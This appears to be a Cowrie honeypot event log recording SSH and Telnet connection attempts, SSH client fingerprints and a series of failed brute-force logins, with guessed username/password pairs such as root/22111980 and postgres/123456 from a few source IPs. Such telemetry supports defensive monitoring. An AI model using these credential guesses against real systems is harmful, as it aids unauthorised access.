{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"4214ac70b4f9","protocol":"telnet","message":"New connection: 94.23.66.112:39618 (10.17.0.5:23) [session: 4214ac70b4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:40.497156Z"}
{"eventid":"cowrie.login.failed","username":"bob","password":"12345","message":"login attempt [bob/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:40.853453Z","src_ip":"91.92.40.36","session":"6aed2d261317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:42.566604Z","src_ip":"91.92.40.36","session":"6aed2d261317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42058,"dst_ip":"159.203.135.109","dst_port":22,"session":"68acd7349656","protocol":"ssh","message":"New connection: 103.82.132.16:42058 (159.203.135.109:22) [session: 68acd7349656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:43.072473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:43.077510Z","src_ip":"103.82.132.16","session":"68acd7349656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27070,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bee0d04143b","protocol":"ssh","message":"New connection: 91.92.40.36:27070 (10.17.0.5:22) [session: 7bee0d04143b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:43.132830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:43.257217Z","src_ip":"91.92.40.36","session":"7bee0d04143b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:43.260516Z","src_ip":"91.92.40.36","session":"7bee0d04143b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:43.326391Z","src_ip":"103.82.132.16","session":"68acd7349656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22111980","message":"login attempt [root/22111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:44.074021Z","src_ip":"103.82.132.16","session":"68acd7349656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"tmp1234","message":"login attempt [tmp/tmp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:44.933262Z","src_ip":"91.92.40.36","session":"7bee0d04143b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132632255554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:45.056846Z","src_ip":"128.199.8.54","session":"c5042f5b2a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:45.324359Z","src_ip":"103.82.132.16","session":"68acd7349656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:46.461443Z","src_ip":"91.92.40.36","session":"7bee0d04143b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65416,"dst_ip":"10.17.0.5","dst_port":22,"session":"3beb9c0b93ff","protocol":"ssh","message":"New connection: 91.92.40.36:65416 (10.17.0.5:22) [session: 3beb9c0b93ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:47.861412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:48.331862Z","src_ip":"91.92.40.36","session":"3beb9c0b93ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:48.336506Z","src_ip":"91.92.40.36","session":"3beb9c0b93ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sasha","password":"sasha","message":"login attempt [sasha/sasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:51.068428Z","src_ip":"91.92.40.36","session":"3beb9c0b93ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:52.878836Z","src_ip":"91.92.40.36","session":"3beb9c0b93ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65464,"dst_ip":"10.17.0.5","dst_port":22,"session":"360a37cb556b","protocol":"ssh","message":"New connection: 91.92.40.36:65464 (10.17.0.5:22) [session: 360a37cb556b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:53.995250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:54.255902Z","src_ip":"91.92.40.36","session":"360a37cb556b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:54.259123Z","src_ip":"91.92.40.36","session":"360a37cb556b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:55.603101Z","src_ip":"91.92.40.36","session":"360a37cb556b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:57.069026Z","src_ip":"91.92.40.36","session":"360a37cb556b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46910,"dst_ip":"10.17.0.5","dst_port":22,"session":"db4a65f382c9","protocol":"ssh","message":"New connection: 91.92.40.36:46910 (10.17.0.5:22) [session: db4a65f382c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:58.945933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:59.706667Z","src_ip":"91.92.40.36","session":"db4a65f382c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:59.711610Z","src_ip":"91.92.40.36","session":"db4a65f382c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:02.225837Z","src_ip":"91.92.40.36","session":"db4a65f382c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58740,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09a28facde4","protocol":"telnet","message":"New connection: 128.199.8.54:58740 (159.203.135.109:23) [session: b09a28facde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:03.499197Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:03.832747Z","src_ip":"91.92.40.36","session":"db4a65f382c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46954,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d903d80c95f","protocol":"ssh","message":"New connection: 91.92.40.36:46954 (10.17.0.5:22) [session: 8d903d80c95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:05.173161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:05.709587Z","src_ip":"91.92.40.36","session":"8d903d80c95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:05.712724Z","src_ip":"91.92.40.36","session":"8d903d80c95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:08.857123Z","src_ip":"91.92.40.36","session":"8d903d80c95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:10.477273Z","src_ip":"91.92.40.36","session":"8d903d80c95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19038,"dst_ip":"10.17.0.5","dst_port":22,"session":"944f473f2754","protocol":"ssh","message":"New connection: 91.92.40.36:19038 (10.17.0.5:22) [session: 944f473f2754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:11.247815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:11.619678Z","src_ip":"91.92.40.36","session":"944f473f2754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:11.623115Z","src_ip":"91.92.40.36","session":"944f473f2754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"p@ssw0rd","message":"login attempt [kafka/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:12.920595Z","src_ip":"91.92.40.36","session":"944f473f2754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:14.172284Z","src_ip":"91.92.40.36","session":"944f473f2754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.13395953178406,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:14.459846Z","src_ip":"128.199.8.54","session":"09ac8a859c1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26834,"dst_ip":"10.17.0.5","dst_port":22,"session":"18535fbb3fad","protocol":"ssh","message":"New connection: 91.92.40.36:26834 (10.17.0.5:22) [session: 18535fbb3fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:17.985179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:18.715898Z","src_ip":"91.92.40.36","session":"18535fbb3fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:19.111933Z","src_ip":"91.92.40.36","session":"18535fbb3fad","protocol":"ssh"}
